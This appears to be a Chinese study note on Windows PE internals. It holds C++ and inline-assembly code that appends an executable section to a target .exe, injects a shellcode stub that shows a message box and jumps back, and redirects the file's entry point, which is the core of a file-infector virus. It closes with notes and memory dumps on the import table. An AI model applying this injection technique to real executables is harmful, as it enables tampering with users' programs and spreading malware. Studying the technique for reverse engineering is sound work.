印记城

#include <windows.h>
#include <iostream>
#include<tlhelp32.h>
#include<windows.h>
using namespace std;

#pragma data_seg(".mydat")															//申请一个新的段
#pragma code_seg(".shell")
#pragma const_seg(".constdata")
#pragma comment(linker,"/SECTION:.mydat,RWE")										//告诉编译器新的段
#pragma comment(linker,"/SECTION:.shell,RWE")
#pragma comment(linker,"/SECTION:.constdata,RWE")									
#pragma comment(linker,"/MERGE:.mydat=.shell")										//合并段
#pragma comment(linker,"/MERGE:.constdata=.shell")
#define Recode _asm call A _asm A: _asm pop  ebx _asm lea eax, A _asm sub ebx,  eax
#define VA_END  -2

DWORD GetProcessIdFromName(LPCTSTR name) ;
void Fun2();
int Invoke(char*pDllName, char*pFunName, ...);

typedef HINSTANCE (WINAPI *pLoadLibraryDef)(LPCTSTR);
typedef DWORD (WINAPI *pMsgBoxDef)(DWORD,DWORD,DWORD,DWORD);

DWORD dwOldEntry = 0;

void WINAPI Fun1()
{
	__asm
	{
		    PUSH  0x00333231 
			MOV   EAX, ESP
			PUSH  0
			PUSH  0
			PUSH  EAX
			PUSH  0
			mov eax,0x77d5058a
			CALL  eax
			ADD   ESP,  4	
	}
	_asm
	{
			_EMIT 0xE9
			_EMIT 0x83
			_EMIT 0xB0
			_EMIT 0xFF
			_EMIT 0xFF
	}

}

void End() 
{

}


int Align(int nSize, int n)
{
  if(nSize % n)
  {
    int num = nSize / n;
    return (num + 1) * n;
  }
  return nSize;
}


#define DOS IMAGE_DOS_HEADER
#define NT IMAGE_NT_HEADERS
#define SEC IMAGE_SECTION_HEADER

int main() 
{
  MessageBox(NULL,"123","1",NULL);
  DWORD dwCodeSize = (DWORD)End - (DWORD)&dwOldEntry, dwSize = 0, dwOldEntry1 = 0;
  HANDLE hFile = CreateFile("c:\\Dialog.exe", GENERIC_READ | FILE_SHARE_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
  HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL);
  PVOID pFile = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL);
  IMAGE_NT_HEADERS* stNT = (NT*)((char*)pFile + ((DOS*)pFile)->e_lfanew);
  IMAGE_SECTION_HEADER* stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
  IMAGE_SECTION_HEADER* stLastSec = &stSec[stNT->FileHeader.NumberOfSections - 1];
  IMAGE_SECTION_HEADER* stNewSec = &stSec[stNT->FileHeader.NumberOfSections];
  DWORD dwFileAlign = stNT->OptionalHeader.FileAlignment;
  DWORD dwCodeAlign = stNT->OptionalHeader.SectionAlignment;
  stNT->FileHeader.NumberOfSections = stNT->FileHeader.NumberOfSections + 1;
  
  //设置新的节属性
  strcpy((char*)stNewSec->Name, ".CIW");
  stNewSec->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE;
  stNewSec->VirtualAddress = stLastSec->VirtualAddress + Align(stLastSec->Misc.VirtualSize, dwCodeAlign);
  stNewSec->PointerToRawData = stLastSec->PointerToRawData + stLastSec->SizeOfRawData;
  stNewSec->SizeOfRawData = Align(dwCodeSize, dwFileAlign);
  stNewSec->Misc.VirtualSize = Align(dwCodeSize, dwCodeAlign);
  
  stNT->OptionalHeader.SizeOfCode += stNewSec->Misc.VirtualSize;
  stNT->OptionalHeader.SizeOfImage += stNewSec->Misc.VirtualSize;

  //移动文件指针(文件实际内容是分节存放的，在内存中是分页存放的)
  SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN);
  WriteFile(hFile, &dwOldEntry, stNewSec->Misc.VirtualSize, &dwSize, NULL);
  SetEndOfFile(hFile);

  dwOldEntry1 = stNT->OptionalHeader.AddressOfEntryPoint + stNT->OptionalHeader.ImageBase;
  SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN);
  WriteFile(hFile, &dwOldEntry1 , 4, &dwSize, NULL);

  stNT->OptionalHeader.AddressOfEntryPoint = stNewSec->VirtualAddress + (DWORD)Fun1 - (DWORD)&dwOldEntry;

  FlushViewOfFile(pFile, stNT->OptionalHeader.SizeOfHeaders);

  UnmapViewOfFile(pFile);
  CloseHandle(hMapFile);
  CloseHandle(hFile);  
  
  return 0;
}

 

 

输入表是一个这样的结构

00h        union

                        characteristics                DWORD        ?

                        originalFirstThunk         DWORD        ?                                                ;存放是一个偏移，指向输入名称表

04h        TimeDateStamp                     DWORD        ?                                                ;一个32位时间标志

08H        Forwarderchain                      DWORD        ?                                               ;指向第一个被转向的API地址

0CH        Name                                       DWORD        ?                                               ;指向DLL名字 

10H        FirstTHUNK                             DWORD        ?                                                ;指向输入地址表

对应上面我们可以找到对应的值为

originalFirstThunk                0x00002070                               ；查看此处内存为：AE 20 00 00 D4 20 00 00 9E 20 00 00 C8 20 00 00                       ?..?..?..?..
                                                                                                                                           00402080  BA 20 00 00 8C 20 00 00 00 00 00 00                          ?..?......?D

TimeDateStamp                   0x00000000

Forwarderchain                    0x00000000

Name                                     0x000020e4                                ；查看此处内存为：004020E0              75 73 65 72 33 32 2E 64 6C 6C            user32.dll

FirstTHUNK                          0x0000200c                                ；查看此处内存为：C9 59 D2 83 F3 D2 77 71 BE D1 77 CE 08 D2 77

                                                                                                                                          CE 3D D2 77 0C B1 D3 77 00 00 00 00                                                 ....p

originalFirstThunk 其实指向的是一个数组，里面放的指向函数名的指针，而FirstTHUNK存放的是对应这个函数名的实际地址（DLL里面的），关系如下图